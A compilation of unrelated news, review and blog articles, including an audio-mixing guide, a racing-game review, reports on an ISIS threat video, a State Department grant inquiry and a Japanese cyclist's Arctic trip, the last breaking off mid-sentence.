-The basic audio mixing workflow  So what’re the mixing basics? Just like most processes — and especially in audio mixing — everyone has their own opinions. Right or wrong, who knows? That’s fair. But there are essential mixing basics that everyone should follow.  The right mix to work with  Believe it or not, you should be mixing before you mix.  Lost? I’ll explain. What are the main textures you’re looking for in your track? What kind of space are you trying to create? Upfront and punchy? Or distant and reverberant? Work on bringing the most character out of your sounds while you're in the early stages of recording. Think about the big picture while recording or choosing your initial sounds.  Push the original recordings as far as you can without heavy processing. Get an early sense of where you are heading for the final mixdown. Commit to good sounds early and avoid endless tweaking later in the mixing stage.  Cut the fuss. Use a bus.  Picture a yellow school bus. Now picture it with a bunch of sounds riding it.  This is what a bus is in a mix. By sending multiple sounds to one track (the bus) you can apply the same processors to them all at once. It’s very handy. Try it out on a drum bus. This allows you to process all your drum sounds as one unit. Treat them with the same reverb to give the perception that they’re all in the same space. Or Set up a delay or compression bus.  Experiment with which sounds you send to what bus. I guarantee you’ll get some very useful results.  HOT TIP: Commit to good sounds early and avoid endless tweaking later in the mixing stage.  Balance your levels  Time to give your mix a little haircut. A little snip here, a little trim there. Balance those levels and don’t be afraid to give parts the big chop. Drop the drums for a bar, crank up that vocal for a verse. Get loose.  Get a basic balance of your levels before you go crazy with effects processing. Trim ‘em so they don’t clip later. Think about headroom early.  Keep a final goal in mind as you balance all of your tracks. This will give you a rough idea of how each track will eventually fit together. Processing will smooth out your rough ideas.  Planning on panning  So what is panning?  Panning helps you control the width of a mix. It’s the left to right breadth of the stereo field. Panning allows for sounds to be placed in your mix properly. Either to the left, or the right of the stereo center. Keep your heavier or lower sounds near the centre. This means the bass or the kick. Use them as a centring force that you can work around. If everything is panned centrally, your mix will sound flat or crowded.
-Share. One step forwards and two steps back for the series. One step forwards and two steps back for the series.  Need for Speed Payback is one step forwards and two steps back for EA’s 23-year-old racing series. While Payback does fix a host of the 2015 Need for Speed reboot’s missteps, it also brushes away a lot of the stuff developer Ghost Games got right at that time.  You see, Need for Speed 2015 brought with it a resurrection of the spirit of 2003 and 2004’s successful Underground games and saw the return of meaningful performance and visual customisation. Between all the hokey live-action, first-person fist-bumping it also revolved around encounters with real-world automotive icons. That’s an idea I still genuinely like. Of course, it was very short, the world was largely empty, there initially wasn’t any drag racing, and you couldn’t even pause the game in single-player. It was flawed, no doubt.  Payback remedies all that latter stuff. There’s a much longer experience here – it took me around 17 hours to complete the story alone. Plus, the world is filled with extra activities and events, drag racing is included from the get-go, and yes, you can pause it. Truly a novelty.  But elsewhere? Well, unfortunately, Payback has gambled and lost.  Exit Theatre Mode  You may have heard that Payback has dialled back on the pure street racing focus in favour of a self-described “action driving” experience. The reality is that racing still pads out the bulk of the driving in Payback and the new “action driving” stuff is limited to a small handful of movie-inspired sequences and Payback’s new police pursuit system. They may look exciting on the surface, but they aren’t really that demanding; unlike, say, the Stuntman games, Payback doesn’t require us to do any of the trickier stuff ourselves – the game takes over all the cool bits. We’re just driving from cutscene to cutscene. They’re well-executed, particularly how they seamlessly swap you between characters and vehicles (like the opening moments of Forza Horizon 3), but they’re completely scripted. Fast and frantic, but shallow and not worth replaying. They’re really just built to service Payback’s paper-thin story, which starts with a confounding succession of betrayals and ends without ever really going anywhere interesting.  “ Escaping police is now a totally linear exercise, where we have to follow a set path via checkpoints within a time limit.  The cop chases feel largely neutered too; escaping police is now a totally linear exercise, where we have to follow a set path via checkpoints within a time limit instead of improvising and doing something unpredictable to throw them off. Taking down cop cars in these events has a welcome enough Burnout 3 flavour to it – muscling your pursuers into spectacular slow-motion collisions with poles and parked cars is fun – but I don’t think it was worth losing proper pursuits for. No more darting down random side-streets at the last second to shake the fuzz, or parking in a dimly-lit area with the engine off, like Need for Speed 2015. There aren’t any cops around during free-roam, either; they’re only present in story missions or at certain triggers spread around the map that will initiate another linear, pre-set chase.  Payback changes things up slightly in the penultimate race event, where it adds cops in the middle of an actual race, but otherwise police pursuits are basically now just time trials where the AI is trying to stop you. The cop AI seems robust enough, and they’ll work on boxing you in when they have the numbers, but I didn’t find them too dangerous. They’re supernaturally fast (as usual, standard issue Crown Vics are able to go doorhandle-to-doorhandle with seven-figure supercars) but player-controlled cars are incredibly powerful battering rams, tearing through cop cars like a bad curry through a colon.  Exit Theatre Mode  The rest of Payback is wrapped up in drifting and racing – including street, off-road, and drag. The handling model is accessible, arcade fare – long, lazy drifts are possible with a dab of brake and a bootful of throttle. That said, I’ve had more than a few events ruined by some overly hostile AI. The respawning is a bit aggressive, too. After clipping an obstacle or skirting with a steep slope I often found myself being respawned in the middle of the track after a few seconds, even though I’d instantly recovered and was already speeding off in the right direction.  “ It’d be almost funny if the script was equipped with a single ounce of self-awareness.  The events themselves are all tied to defeating themed race crews spread over the map, each of whom introduces themselves like they’re the Most Important People on Earth. It’d be almost funny if the script was equipped with a single ounce of self-awareness, but Payback treats its cast of hip young millennials and soda commercial cast-offs like they’re the coolest thing since the other side of the pillow. Unfortunately, they’re not cool, or funny. They’re not even actually likeable, to be honest. The three main player-controlled characters are the worst offenders, ranging from irksome to infuriating.  The characters aren’t functionally different from each other; they’re just each tied to one or two of the five specific car classes that are different from each other. Payback splits its cars into five categories – race, off-road, drift, drag, and runner (which are used for battling cops). Cars for specific race types need to be purchased from specific dealers and can’t be used in any other race type than the one they were purchased for. It’s a bit restrictive, particularly considering the game doesn’t always necessarily play by its own rules. For instance, it makes a fuss out of communicating that ‘runner’ cars are specially-reinforced vehicles built to take on police, but then regularly throws us into cop chases in non-runner cars that seem to handle the events just as adequately. It doesn’t mind tossing drag cars into impromptu sprint races, either. I wasn’t a fan; my GT-R drag car corners like a whale on a skateboard.  Toyota and Ferrari have fallen out of the game for reasons beyond EA’s control, but the mix of tuner, muscle, and exotics has otherwise improved from the already decent selection available in Need for Speed 2015. They still look nice too, particularly the weather-beaten “Derelict” cars we’re tasked with discovering around the map (think Test Drive Unlimited’s hidden wrecks, or Forza Horizon’s barn finds). The way Payback’s lighting system plays off the damaged paint and rusty panels of these derelicts is excellent.  Beyond the cars, however, I found Payback less visually impressive than Need for Speed 2015 overall. Payback’s dry and dusty casino city and its outskirts make for a large, varied map (and it boasts a day/night cycle this time around) but it’s not nearly as good-looking as the grimy, reflection-packed, rain-slick asphalt of Need for Speed 2015.  Exit Theatre Mode  The segregated car divisions, I can handle; the upgrade system, I cannot. I hate it, in fact. Individual visual customisation options now need to be unlocked by performing arbitrary tasks out in the world. I get that it’s designed to get us interacting with all the new Forza Horizon-inspired jumps and speed traps, et cetera, but it’s a lot of new hoops to jump through to change your cars’ appearance where previously there were none.  Much, much worse is that performance customisation has been distilled into a collectible card game. Unlike Need for Speed 2015, which allowed us to bolt on specific parts to improve performance – you know, like a normal racing game – Payback’s upgrades are controlled by what the game dubs “Speed Cards”. Payback’s many-tentacled Speed Card system is absolutely not for me.  “ Payback’s many-tentacled Speed Card system is absolutely not for me.  To make your car faster you need Speed Cards, and each vehicle your crew owns has six slots for Speed Cards (the slots ostensibly represent things like the gearbox, or the turbo, and such). You can earn a single, random Speed Card by completing a race, but at best it will only be an incremental improvement on your current Speed Card line-up. You can also buy Speed Cards for in-game cash from auto parts stores, but the cards they carry are random and rotate every 30 minutes.  If you get a Speed Card you don’t want, you can turn it into a single “Part Token”. You need three Part Tokens to have one tug at the Speed Card slot machine (stay with me), which generally yields better cards than the ones you can buy à la carte from parts stores. You can also earn Part Tokens from “Base Shipments”, which are loot boxes that also contain cash and additional customisation items (like coloured tyre smoke or neons).  You earn Base Shipments by racking up in-game reputation points, but there are also “Premium Shipments”, which can be bought with “Speed Points” (a second in-game currency that costs real money and seems geared only to obscure how much actual money people may be dropping on Shipments).  It’s a cold, convoluted, and random system dredged up from the sloppy shores of the free-to-play mobile swamp. How is this a fun upgrade system? It doesn’t care what parts you want or how much time you have to play the game. Any time I was awarded a worthless Speed Card I felt nothing but resentment. Surely not an emotion most developers want their games to elicit?  It just turns getting your head under the hood and purchasing bespoke parts for your favourite car into a wearisome grind. I couldn’t ignore this system because – with the exception of the drift and cop chase events – the AI spanked me whenever I tried to cheap out and enter certain events too far below the suggested car level. You have to acquire Speed Cards and, once you’re out of Part Tokens to pump into the vile slot machine, replaying old races is the only way to slowly push your car’s level up.
-You’ve probably heard the news by now: Steven Moffat is finally stepping down as the showrunner of Doctor Who, to be replaced by Chris Chibnall. I think it’s a good thing – even though I loved most of Moffat’s run, I’m more than ready to see another writer’s take on the show. I’ve yet to be impressed with Chibnall’s Who work, but if we have Broadchurch series 1 to go by, I’m welcoming this change.  There’s a huge problem with this particular changing of the guard, however – after the heights of Series 9, we’d have to wait for a while. Series 10 has been pushed back to 2017, in order to make the transition from Moffat to Chibnall smoother. I’d support this decision if we only had something to watch other than the 2016 Christmas Special. You see, by Christmas 2016, 365 days will have passed without a new Doctor Who episode on TV, marking the first full year without the show since 2005.  This isn’t exactly a return to the Wilderness Years, but how do we get our Doctor Who fix while BBC is sorting out everything behind the scenes?  Don’t worry, fellow Whovian! I created this survival guide so you can find something to tide you over until series 10 airs. This is, by no means, a complete list of supplementary media as I left out a lot of things. If you want a quick fix, though, this will help you get started.  Next Page: Classic Doctor Who
-Residents at downtown Los Angeles’s not-so-tony Cecil Hotel received a bit of unwanted news this week when they were advised not to drink the water. It seems that a corpse, the remains of a Canadian woman named Elisa Lam, had been found in one of the water cisterns supplying the hotel, possibly contaminating the water supply. The water, per one British visitor, had a funny taste and color, presumably from the rotting flesh in the pipes.  We will leave the task of sorting out the grisly details behind the tragic death to the LAPD. But whether the water had become dangerously contaminated is a different issue. The question before us, then, is this: how quickly does a dead person decompose? And what effect, if any, does the fact that her body was found floating in water have on the rate of decomposition?  Decomposition has been well characterized—in fact there is even a word for the process (taphonomy) and a facility at the University of Tennessee, referred to as the “body farm,” devoted to the scientific study of decomposition. Forensics experts need to understand what breaks down when to accurately backdate when a murder might have occurred.  Forensics experts consider that animals decay in five major stages—a process that takes a few weeks for most of the degradation, then many more months till a body is reduced to skeletal remains. The first stage is “fresh”—the immediate aftermath of death, when oxygen is no longer supplied to the cells and anaerobic bacteria (which do not require oxygen to survive), already present in staggeringly high numbers in the digestive tract, begin to really proliferate. And by high numbers, consider this: on a normal day, there are 10 times more bacteria in and on our body than the number of cells that constitute “us,”—i.e., the human self, the ego and the id and the superego, and the accompanying package known as the body. By the numbers, we are composed of 100 trillion cells. Ten times that number means we are surrounded and occupied by a cool quadrillion bacteria, a staggering, even unimaginable, number. I mean, Christ was born, if he was born, only 64 billion seconds ago. The number of bacteria we associate with is 18,000 times larger than that.  Anaerobes, especially in the exponential growth phase seen after a death, cause two large problems: they make that familiar forgot-to-empty-the-fridge rancid odor and also metabolize various nutrients into gas. This creates the second stage of decomposition—bloat. As its name suggests, bloat quickly becomes visible because the malodorous gas created by the anaerobes fills the abdomen and other tissues, making the corpse appear like the Michelin man. The next stage is equally sobering. Called “active decay,” this is when insects—maggots and flies and the like—begin to pick the corpse clean, and tissue that has been liquefied by putrefaction spills into the environment. The other two stages of decomposition, “advanced decay” and “remains,” can be read about here.  Given that the woman in L.A. had last been seen two to three weeks before the discovery of her body, she likely was at some stage of putrefaction, the pace of which was slowed by submersion in water. Still, it is likely that billions or even trillions of new bacteria had overtaken her body, with many spilling into the water. Furthermore, as she moved to the end of putrefaction and into active decay, the liquefied tissue likely supplied even more bacteria into the Cecil Hotel water supply. Water supplies are equipped to handle some amount of bacteria; indeed American municipal water is treated with various antibacterials, such as chlorine, to keep drinking water safe. The amount of bacteria, though, from a decaying animal would easily overwhelm the range of what routine treatment could prevent.  So we have a situation that is gross, yes. Creepy and extremely sad, oh yes. But, bacteria and all, is the water dangerous? Probably not as much as you would think.  Though humans are no match for the vulture and other carrion-picking birds that eat rancid decaying flesh every day (they have stomach acid that could fry an egg and an immune system seemingly capable of mopping up all manner of stray toxins), we are pretty well equipped to survive. We too have a stomach full of harsh hydrochloric acid (at least those of us not on antacids or proton-pump inhibitors such as Nexium or Prevacid) and can take a pretty good wallop. Furthermore, unless the woman was poisoned with anthrax or botulism or some other bacterial toxin that might be proliferating in her remains, the bacteria would not be lethal, just nauseating. I suspect that vomiting and a day or two of stomach misery would be the worst that would happen to the hotel guests, if that.  So, rather than a public-health crisis, we are left with miffed, on-a-budget tourists with a story to tell, a hotel that will likely go under from the bad publicity, and yet another grim, unexplainable death, once again of a young person drawn to the flash and eternal promise of L.A. only to find a boulevard of broken dreams—the one true Hollywood ending, one we all have seen far too many times.
-IBM is casting an ever-widening net to cover a broader range of workloads starting with today’s announcement of its NextScale system, which is designed to use a stripped-down x86 lure to reel in everything from the cloudy heights to high performance computing.  That lure is surprisingly simple–and all by design. Server buyers on all sides of the compute spectrum are being pulled into the swift current of stripped-down, purpose-driven and cost-conscious hardware. IBM has remained one of the few that continued to swim upstream of this raw-box approach–but it’s catching up–and throwing some performance awareness into the mix.  Adding to their x86 drive, the star of NextScale is the Ivy Bridge processor (one or two) which are nestled within a half-width NextScale nX360 server. These snap snugly into the host n1200 enclosure (a 6U, 12-bay chassis) that can double up to host 84 of these pared-down boxes—or 2,016 cores–in a standard 19-inchrack.  And “standard rack” is the key word here, at least for those who bit the iDataPlex line but were scared off by the strange manipulations of space and time necessary to maneuver around its (useful but) non-standard design. In other words, IBM has taken a “best of all worlds” approach with the NextScale system, pulling the MVP features from iDataPlex and Flex alike to create something that might be able to go head-to-head with the wave of hyperscale (and hypercheap) solutions that are flooding the market.  This new server strain puts IBM in a much larger petri dish with competitive offerings from HP (namely the SL6500 series and the half-width SL390S) as well as similar lines from Dell (the C8000 series, in particular). But the difference here, says System X Product Manager, Gaurav Chaudhry , is that they’re able to offer integration with some of IBM’s key initiatives and products, including their recently acquired workload management tools from Platform Computing, full GPFS support and for the cloudy side, ready-made APIs and binaries for xCAT which, while free to begin with, is being actively supported by IBM.  Dubbed the “economical addition to the System X family” IBM says that this approach offers the density, performance and flexibility to support the diverse targeted workloads. For the HPC crowd, there are certainly some features worth noting—but generally speaking, this is a pared-down approach that lets users build what they need at a price point that’s relative to other bare-bones boxes from competitors. But there are still some things that are off in the future—enough so that we might not see many of these finding their way into the Top 500 before next ISC.  The NextScale announcement is really about possibility and the future, at least for HPC buyers. So far, this is an Intel-only offering, with support for GPUs and Xeon Phi coming in early 2014. While there were no timeframes stated for other additions, including Power, ARM or other processors, it stands to reason that IBM wouldn’t want to be left behind as others march to the beat of customer demand.  With that said, to snap in spicy elements like GPUs or Phi means a need for more sophisticated cooling. One notable missing element with NextScale is the direct water cooling. The version announced today is air-cooled with the possibility of passive water cooling. Chaudhry says that direct water is coming right in line with other acceleration/co-processor capabilities.  That omission aside, there are some other notable elements that will appeal to the HPC set. For instance, IBM will offer well-rounded support for Infiniband, including FDR and QDR. There is no integrated I/O or switching, no chassis-level management, and the attractive part of iDataPlex, namely its front access capabilities to almost all components, was carried over.  For the cloud and general datacenter users, there will be two standard gigabit Ethernet ports, although they’ll be glad to sell additional capability to add 10GbE as an option as well. While HPC is all about the IOPS, latency and general performance, Chadhury says that the cloud customers simply want to get up and running as soon as possible—it’s all about time to delivery, he says  As IBM’s David Watts noted of the new nx360 server addition:  The IBM NeXtScale nx360 M4 compute node contains only the essential components in the base architecture…  1 or 2 Intel Xeon E5-2600 v2 series processors  Up to 8 ECC DIMMs operating up to 1866 MHz providing a total memory capacity of up to 128 GB  2 on-board 1Gb Ethernet ports  Integrated management with the IMM2 supporting IPMI and UEFI industry standards  PCI Express 3.0 I/O expansion capabilities through a 16x riser cage  Additional mezzanine slot for FDR InfiniBand or 10Gb Ethernet without consuming a PCIe slot  IBM took their cues from the positive responses around offering front accessibility (as with the iDataPlex systems) and carried that over to NextScale. Chaudhry freely admits that while iDataPlex was made for its own configuration and offered little flexibility, the idea with NextScale was to “keep all the things we liked and get rid of other things, like the full-width server versus this 8.5 inch wide but deep (versus shallow) approach.”  On that “best of all worlds” note touched on earlier, Chaudhry highlights the difference between the Flex versus NextScalelines s in the increased ability to go as “vanity-free” as one wishes. “So say if a customer isn’t looking for the integrated switching built into the chassis, they have the flexibility to pick their own,”  The key concepts behind this launch are around flexibility, simplicity and scale—in short, a move away from the tricky design and implementation details of their iDataPlex but with more room to grow than Flex might offer for some users. IBM Product Marketing Manager for the System X line, Gaurav Chaudhry says that this isn’t the immediate end of the line for iDataPlex. It simply marks an evolution toward flexible systems that can meet the low latency, high performance, and I/O demands of HPC while remaining lightweight and simple enough for cloud users to hop into without a great deal of effort. The company still has a number of iDataPlex systems to support, which will continue for at least 18 months, but the hyperscale, low-cost NextScale is the real battlefield for IBM’s push—and the shove will come down to price.  As a side note, it seems a shame that the Flex line was named “Flex” versus NextScale—seems the true meaning of these are flip-flopped, with the Flexes emphasizing scalability and NextScale pushing flexibility.
-New iPad stations that will be deployed at LaGuardia, Minneapolis-St. Paul, or Toronto airports. OTG  (CBS News) Travelers waiting for board flights are getting an entertainment upgrade in the form of Apple iPads.  Over 7,000 new iPads are scheduled to land at a handful of airports over the next 18 months, thanks to airport restaurateur OTG. The company has already installed 300 new iPads at LaGuardia Airport Terminal D, with 2,000 more to come. Minneapolis-St. Paul International Airport and Toronto Pearson International Airport are scheduled to get 2,500 new iPads each.  The iPads will be located at OTG restaurants, where customers can sit in renovated seating areas. Using a custom browser, travelers can order meals, play games and check flight statuses, emails, Facebook and Twitter.  "This is a unique deployment that has no precedent," Rick Blatstein, chief executive officer of OTG, said in a press release. "We're marrying culinary excellence at the airport with new media. In addition to the content we are already offering, we see this as a significant opportunity for broader deployment of digital content from movies to news to games."  OTG operates restaurants in seven other airports, including John F. Kennedy, Boston Logan, Tucson, Washington National, Orlando, Chicago O'Hare, and Philadelphia.
-The video will start in 8 Cancel  Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Islamic State supporters have claimed that Downing Street, Gatwick and Heathrow "are next" after the Brussels terror attacks in a sickening new video.  The new footage shows two men in balaclavas with British accents addressing the camera.  Speaking together, they say: "Belgium, Brussels airport... Big boom went off, innit!  "Heathrow, Gatwick, Downing Street... You're next. You get me bruv?  "Brap brap, yeah what! What!"  At least 31 people were killed following three explosions at Zaventem Airport and Maelbeek metro station during the attacks on Tuesday.  The threat comes as security has been "stepped up" at checkpoints staffed by British officials on borders.  However the increase in security will last for only two weeks.  Lucy Moreton, general secretary of ISU, said: "We’ve stepped up controls at the border, and at all borders, but it is maintaining that at a high level for a long period of time and whether there is the political will, or potentially even the necessity to do so.  (Image: Getty)  "Experience from past would suggest that it isn’t. The increased checks at the border last about two weeks, or that’s how long they lasted after the Paris attacks."  Read more:  Alongside those who lost their lives during the attacks, more than 270 were injured, including children who lost limbs.  Following the terror attack, ISIS formally claimed responsibility.  (Image: Getty)  A statement read: "Islamic fighters carried out a series of bombings with explosive belts and devices on Tuesday, targeting an airport and a central metro station in the center of the Belgian capital Brussels, a country participating in the international coalition against the Islamic State.  Read more:  "Islamic State fighters opened fire inside Zaventem Airport, before several of them detonated their explosive belts, as a martydom bomber detonated his explosive belt in the Maalbeek metro station.  (Image: REUTERS)  Read more:  "The attacks resulted in more than 230 dead and wounded."  ISIS supporters posted threats on Twitter, warning social media users of supposed planned attacks.  One tweeted: "The Islamic State will attack London, Washington, Rome and all the infidels' capitals."  (Image: PA)  Another wrote: "The Crusaders are blundered and confused. Yesterday Paris, today Brussels, and they don't know where will be the next attack."  Home Secretary Theresa May revealed yesterday in the House of Commons that intelligence services had foiled seven terror plots on British soil in the last 18 months.  Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now  FOOTAGE COURTESY OF MEMRI
-The State Department paid hundreds of thousands of dollars in taxpayers grants to an Israeli group that used the money to build a campaign to oust Prime Minister Benjamin Netanyahu in last year’s Israeli parliamentary elections, a congressional investigation concluded Tuesday.  Some $350,000 was sent to OneVoice, ostensibly to support the group’s efforts to back Israeli-Palestinian peace settlement negotiations. But OneVoice used the money to build a voter database, train activists and hire a political consulting firm with ties to President Obama’s campaign — all of which set the stage for an anti-Netanyahu campaign, the Senate Permanent Subcommittee on Investigations said in a bipartisan staff report.  In one stunning finding, the subcommittee said OneVoice even told the State Department’s top diplomat in Jerusalem of its plans in an email, but the official, Consul General Michael Ratney, claims never to have seen them.  He said he regularly deleted emails with large attachments — a striking violation of open-records laws for a department already reeling from former Secretary Hillary Clinton’s handling of official government records.  Mr. Netanyahu survived the election, and the U.S. spending was not deemed illegal because the State Department never put any conditions on the money. Investigators also said OneVoice didn’t turn explicitly political until days after the grant period ended.  “The State Department ignored warnings signs and funded a politically active group in a politically sensitive environment with inadequate safeguards,” said Sen. Rob Portman, chairman of the investigative subcommittee. “It is completely unacceptable that U.S. taxpayer dollars were used to build a political campaign infrastructure that was deployed — immediately after the grant ended — against the leader of our closest ally in the Middle East. American resources should be used to help our allies in the region, not undermine them.”  PHOTOS: Famous felons  Sen. Claire McCaskill, the ranking Democrat on the subcommittee, said the Obama administration followed the law.  But she said their investigation exposed “deficiencies” in the State Department’s policies.  OneVoice had been politically active in Israel’s 2013 elections, which should have been a red flag to U.S. officials to put strict controls on how American taxpayers’ money was spent, the investigation said.  While it wouldn’t have necessarily disqualified the group, the State Department should have written a specific prohibition against using American money to influence a foreign election, the subcommittee said.  It’s part of a pattern of bad behavior at the State Department. The Government Accountability Office reviewed more than five dozen department grants and found officials cut corners and missed red flags in 80 percent of them.  The Israeli Embassy didn’t respond to a request for comment on the findings.  State Department spokesman John Kirby said they had not had time to go through the report and he couldn’t comment on it. He also didn’t comment on Mr. Ratney’s practice of deleting official records.  The Senate investigation found that the State Department funded two sister groups — OneVoice Israel and OneVoice Palestine — to hire a U.S. political consulting firm, recruit volunteers, build a social media network and run advertising.  But it was also building its anti-Netanyahu political strategy, at a time when the Israeli leader was quite controversial in U.S. politics, celebrated by Republicans but feuding with the Obama White House over differences in policy.  OneVoice told at least two State Department officials of its political plans, even as it was collecting taxpayer money. But the department “took no action in response,” the subcommittee concluded.  Mr. Ratney, one of the two officials, said he remembered getting an email from OneVoice, but didn’t recall seeing the attached file detailing the group’s political strategy.  The State Department was unable to recover the email, but investigators got it from OneVoice.  Mr. Ratney later told investigators he regularly deleted emails with attachments “in order to maintain my inbox under the storage limit.” He told investigators he “did not know [he] was required to archive routine emails.”  Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.
-When is the last time you thought of something you were grateful for? Often times we get caught up in what isn’t exactly perfect in our lives and forget to be thankful for what is going right.  Since it’s so easy to fall into that pattern, I decided to start a series of posts about gratitude. In the TED Talk I recently watched, Shawn Anchor suggests that you think of 3 things you’re grateful for each day. I usually do this when I wake up in the morning, but I want to take it a step further and share my gratitude with you all every Sunday. I would love for you to join me and tell me what you’re grateful for in the comments as well!  Showing gratitude is one of the most effective ways to reduce anxiety, depression, anger, and many more negative or “below the line” emotions.  Here are three things I’m grateful for today:  1. Eating this watermelon, banana, and strawberry fruit salad. Watermelon is one of my favorite foods and I definitely take advantage of the summertime because it is in season. This was some of the best watermelon I’ve ever had.  2. Getting to walk to dinner from where I live and see this adorable wheelbarrow with succulents in front of our neighbors place. I want to replicate it! You don’t think they’d mind, do you? 😉  3. Seeing this rainbow out of the plane window. I’ve never seen one like it. So incredible!  What are you grateful for today? I would love to hear!  ————————————————————————————-  Become an official Happster & get free happy notes here: http://tinyurl.com/imahappster  Advertisements
-4.9k SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard  Senate Democrats introduced legislation today that appears to put Republicans on notice that if they mess with the debt ceiling again, Democrats will permanently eliminate their default threat.  Senators Barbara Boxer (D-CA), Charles E. Schumer (D-NY), and Mazie Hirono (D-HI) introduced a bill that would make permanent a rule devised by Mitch McConnell that uses resolutions of disapproval to allow the president to raise the debt ceiling.  Sen. Schumer said, “The way it works right now, the debt ceiling is like a ticking time bomb that threatens massive economic destruction. This bill would defuse it. By forcing Congress to disapprove debt ceiling increases, we greatly reduce the risk of default that would be a crushing blow to our economy – taking money out of middle-class pockets and destroying middle-class jobs. I hope our Republican colleagues will do the right thing and join in our efforts to limit the risk of default and provide certainty to American families and businesses.”  Sen. Mitch McConnell was not amused. According to The Hill, McConnell said,  “[Schumer] wants to extend the debt ceiling permanently by going around Congress. Let me repeat that: the so-called ‘Schumer-Obama Plan’ is a plan to permanently hand the president a credit card without spending limits, and without lifting a finger to address the national debt,” McConnell said. “I reject that idea entirely. “I believe that increases in the debt ceiling should be accompanied by reforms,” he continued. “That’s just what we did in 2011, when Congress raised the debt ceiling in return for enacting $2 trillion in bipartisan spending control — the spending control the president campaigned on endlessly.”  The Democratic bill won’t pass. It won’t get out of the Senate, and if it did, it wouldn’t pass the House. The legislation is still important because it suggests what Democrats are going to ask for next if Republicans threaten the country with default in February or March of 2014.  If Republicans threaten the nation with another self-created economic crisis, Democrats will push for the elimination of the debt ceiling. President Obama has already signaled support for the bill, so it is clear that Democrats are sending a message. Democrats have been emboldened by the way that they stood up to Republicans on the government shutdown and the debt ceiling, and Republicans will pay a steep price if they choose to play games.  What happens to this bill right now isn’t as important as the fact that Democrats are putting it on the table. Senate Democrats are setting the stage for using the Republicans’ own behavior against them. There is also the political bonus of reminding Republican voters in Kentucky that Mitch McConnell could be responsible for Republicans losing their favorite hostage.  Congressional Republicans have repeatedly proven that they aren’t fit to govern, and if they try to provoke another economic crisis, Democrats are ready to act.  If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:
-Posted August 25th at 12:00am.  As part of celebrating Madden NFL 25, a season 25 years in the making, EA SPORTS enlisted Colin Kaepernick and Russell Wilson to go back to Summer Camp and relive their earliest days of playing Madden. Here’s an exclusive, behind-the-scenes glimpse of what happened on set.  Seattle Seahawks QB Russell Wilson at the Rose Bowl before the shoot. Wilson’s competitiveness shined through as he made members of the EA SPORTS crew pair off and run routes to help him get loose.  San Francisco 49ers QB Colin Kaepernick threw the ball around after joining Wilson on set.  Plays were drawn up the old fashioned way with the crew.  Russell and Colin caught a quick break on set alongside EA’s Sandy Sandoval.  Kaep paid homage to the NFL Quarterback Club days.  EA’s Dustin Shekell is a big 49ers fan, so going over the plan with Kaep was a huge thrill.  The plan of attack.  Russell got his game face on.  Colin and Russell got their first crack at Madden NFL 25 in the Rose Bowl locker room. The guys played for an hour, video game man against video game man.  Even though the weights on Kaep’s back each weighed less than a pound, he mentioned how awkward it felt to have it strapped to his body.  Rise. Grind. Take five-step drops with a barbell on your back.  Will we see this jersey again in Super Bowl XLVIII?  Or will it be this one?  Discover 25 Reasons to Buy Madden NFL 25 and meet the All-25 Team.  Get ready to Run Free. Madden NFL 25 is available on August 27. Pre-order Madden NFL 25 today to receive exclusive Franchise Packs.
-A top Russian official has called upon state-owned arms producers to introduce an ethics code in order to battle alcohol abuse in the workplace.  Russian Deputy Prime Minister Olga Golodets, speaking Tuesday to human resources directors of major state-owned companies, lamented "a propensity for alcohol abuse" at those plants.  She said "the lack of discipline" comes with a "high price not only for the factories, but for humankind."  Among the meeting's participants were representatives of the manufacturer of air-defense missile systems Almaz-Antei and nuclear corporation Rosatom.  She also called on factory directors to set an example for their employees and cut down on drinking at office parties.  "I myself have seen corporate parties which were nothing like corporate parties," Golodets told the officials in comments carried by the Interfax news agency.  A report by the Organization for Economic Cooperation and Development this year showed that 30% of Russian deaths in 2012 were attributable to alcohol, the highest ratio among the nations it tracked.  Privately owned companies have raising alarms about alcohol and drug addiction among Russian workers as well.  Leading Russian steel producer Severstal signed a cooperation agreement this month with the Federal Narcotics Service to help battle substance abuse at its factories. Severstal's press office reported that 21 people were caught high on drugs in the first eight months of the year.
-It appears that Meek Mill is ready to put all of his recent drama with Drake on the back burner for the moment and get back to making music. Last night, Meek shared a number of previews of his upcoming mixtape, DC4, on his Instagram, and to no real surprise, it sounds pretty damn good.  Meek didn't reveal exactly when he's planning to release the project, but the snippets include a YG feature, and a verse where he addresses people saying he "took an L" with his Drake beef. Next week is the two year anniversary of his last Dreamchasers mixtape, so maybe Meek has a surprise up his sleeve. Check out the previews below.  Eating breakfast on jet!!! A video posted by Meek Mill (@meekmill) on Sep 23, 2015 at 1:48am PDT  DC4 A video posted by Meek Mill (@meekmill) on Sep 23, 2015 at 1:43am PDT  $AVAGE LIFE$TYLE A video posted by Meek Mill (@meekmill) on Sep 23, 2015 at 1:33am PDT  #DC4 @yg A video posted by Meek Mill (@meekmill) on Sep 23, 2015 at 1:26am PDT  #DC4 shame on them niggas for betting against us! A video posted by Meek Mill (@meekmill) on Sep 23, 2015 at 1:24am PDT  DC4 we got a problem nowwwwwwwww 😎 A video posted by Meek Mill (@meekmill) on Sep 23, 2015 at 1:19am PDT
-Kenji Kurachi of Osaka, Japan, is cycling to the Mackenzie Valley from Yellowknife and aims to finish his journey by biking between Inuvik and Tuktoyaktuk.  "I want to cycle on the Arctic Ocean," he says. "This is my dream. I want to challenge myself."  He’s previously taken bike trips around the world.  Kurachi, 32, arrived in Yellowknife mid-January. Kurachi has a tent, a stove and a generous supply of Ichiban noodles. He plans to eat three packages of those a day.​  He's already done his first leg, spending seven days cycling to Fort Providence. He rode from 8 a.m. to 3 p.m. but the nights were long.  “Very, very difficult and too cold. I stayed in my tent almost but I can’t sleep,” he says.  He had just passed Behchoko when what he thought was a cute dog came within a few feet of his bike.​  "Big dog chase me. Run away. I thought 'Oh, very cute.' But it was a wolf. Very scary."  Kurachi managed to snap a photo of the animal and has been documenting his journey.  He says many drivers on the highway have stopped to check on him. He says he appreciates the kindness of Canadians he's met so far.  N.W.T. roads haven't been as kind. He's already had to make several tire repairs, and backtracked to Yellowknife last week to stock up on supplies.  "He had an unusual request," says David Stephens who's the bike manager at Overlander Sports in Yellowknife. "He asked me for 14 spare bike tubes for his bicycle."  A cycling enthusiast and former resident of Japan himself, Stevens speaks the language and understands 